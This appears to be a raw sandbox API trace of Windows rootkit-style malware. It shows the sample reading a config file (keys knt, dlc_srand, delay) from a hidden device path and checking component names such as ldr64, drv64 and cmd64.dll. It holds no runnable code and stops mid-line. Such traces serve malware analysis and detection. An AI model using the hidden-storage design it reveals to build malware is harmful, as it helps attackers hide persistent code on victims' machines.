[0128.072] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.072] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.072] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.072] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.072] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.072] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.072] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.072] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.073] KeLeaveCriticalRegion () [0128.073] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.073] ReleaseMutex (hMutex=0x100) returned 1 [0128.073] Sleep (dwMilliseconds=0x2bf20) [0128.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f88f090, dwHighDateTime=0x1d24fa4)) [0128.081] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.081] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.081] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.081] KeEnterCriticalRegion () [0128.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.081] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.081] IdePortDispatch () returned 0x103 [0128.081] KeWaitForMutexObject () returned 0x0 [0128.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.081] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.081] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfec50 [0128.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.082] KeLeaveCriticalRegion () [0128.082] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.082] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.082] KeEnterCriticalRegion () [0128.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.082] KeLeaveCriticalRegion () [0128.082] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.082] KeEnterCriticalRegion () [0128.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.082] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.082] IdePortDispatch () returned 0x103 [0128.082] KeWaitForMutexObject () returned 0x0 [0128.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.082] KeLeaveCriticalRegion () [0128.082] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.083] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.083] KeEnterCriticalRegion () [0128.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0128.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.083] IdePortDispatch () returned 0x103 [0128.083] KeWaitForMutexObject () returned 0x0 [0128.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.083] IdePortDispatch () returned 0x103 [0128.084] KeWaitForMutexObject () returned 0x0 [0128.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.084] KeLeaveCriticalRegion () [0128.084] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.084] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.084] KeEnterCriticalRegion () [0128.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.084] KeLeaveCriticalRegion () [0128.085] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.085] KeEnterCriticalRegion () [0128.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.085] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.085] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.085] KeLeaveCriticalRegion () [0128.085] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.085] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.085] KeEnterCriticalRegion () [0128.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.085] ExFreePoolWithTag (P=0xfffffa8003bfec50, Tag=0x0) [0128.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.085] KeLeaveCriticalRegion () [0128.085] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.085] ReleaseMutex (hMutex=0xf0) returned 1 [0128.085] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.085] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.085] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.085] KeEnterCriticalRegion () [0128.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.085] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.085] IdePortDispatch () returned 0x103 [0128.086] KeWaitForMutexObject () returned 0x0 [0128.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.086] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.086] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.086] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.086] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.086] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd9c0 [0128.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.086] KeLeaveCriticalRegion () [0128.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.086] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.086] KeEnterCriticalRegion () [0128.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.086] KeLeaveCriticalRegion () [0128.086] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.086] KeEnterCriticalRegion () [0128.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.086] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.086] IdePortDispatch () returned 0x103 [0128.087] KeWaitForMutexObject () returned 0x0 [0128.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.087] KeLeaveCriticalRegion () [0128.087] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.087] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.087] KeEnterCriticalRegion () [0128.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0128.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.087] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.087] IdePortDispatch () returned 0x103 [0128.087] KeWaitForMutexObject () returned 0x0 [0128.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.087] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.087] IdePortDispatch () returned 0x103 [0128.088] KeWaitForMutexObject () returned 0x0 [0128.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.088] KeLeaveCriticalRegion () [0128.088] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.088] KeEnterCriticalRegion () [0128.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.088] KeLeaveCriticalRegion () [0128.089] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.089] KeEnterCriticalRegion () [0128.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.089] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.089] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.089] KeLeaveCriticalRegion () [0128.089] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.089] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.089] KeEnterCriticalRegion () [0128.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.089] ExFreePoolWithTag (P=0xfffffa8003bfd9c0, Tag=0x0) [0128.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.089] KeLeaveCriticalRegion () [0128.089] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.089] ReleaseMutex (hMutex=0xf0) returned 1 [0128.089] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.089] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.089] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.089] KeEnterCriticalRegion () [0128.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.089] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.089] IdePortDispatch () returned 0x103 [0128.090] KeWaitForMutexObject () returned 0x0 [0128.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9860 [0128.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.090] KeLeaveCriticalRegion () [0128.090] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.090] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.090] KeEnterCriticalRegion () [0128.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.090] KeLeaveCriticalRegion () [0128.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.090] KeEnterCriticalRegion () [0128.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.090] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.090] IdePortDispatch () returned 0x103 [0128.091] KeWaitForMutexObject () returned 0x0 [0128.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.091] KeLeaveCriticalRegion () [0128.091] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.091] KeEnterCriticalRegion () [0128.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0128.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.091] IdePortDispatch () returned 0x103 [0128.091] KeWaitForMutexObject () returned 0x0 [0128.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.091] IdePortDispatch () returned 0x103 [0128.092] KeWaitForMutexObject () returned 0x0 [0128.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.092] KeLeaveCriticalRegion () [0128.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.092] KeEnterCriticalRegion () [0128.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.092] KeLeaveCriticalRegion () [0128.092] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.093] KeEnterCriticalRegion () [0128.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.093] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.093] KeLeaveCriticalRegion () [0128.093] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.093] KeEnterCriticalRegion () [0128.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.093] ExFreePoolWithTag (P=0xfffffa8003ac9860, Tag=0x0) [0128.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.093] KeLeaveCriticalRegion () [0128.093] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.093] ReleaseMutex (hMutex=0xf0) returned 1 [0128.093] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.093] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.093] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.093] KeEnterCriticalRegion () [0128.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, 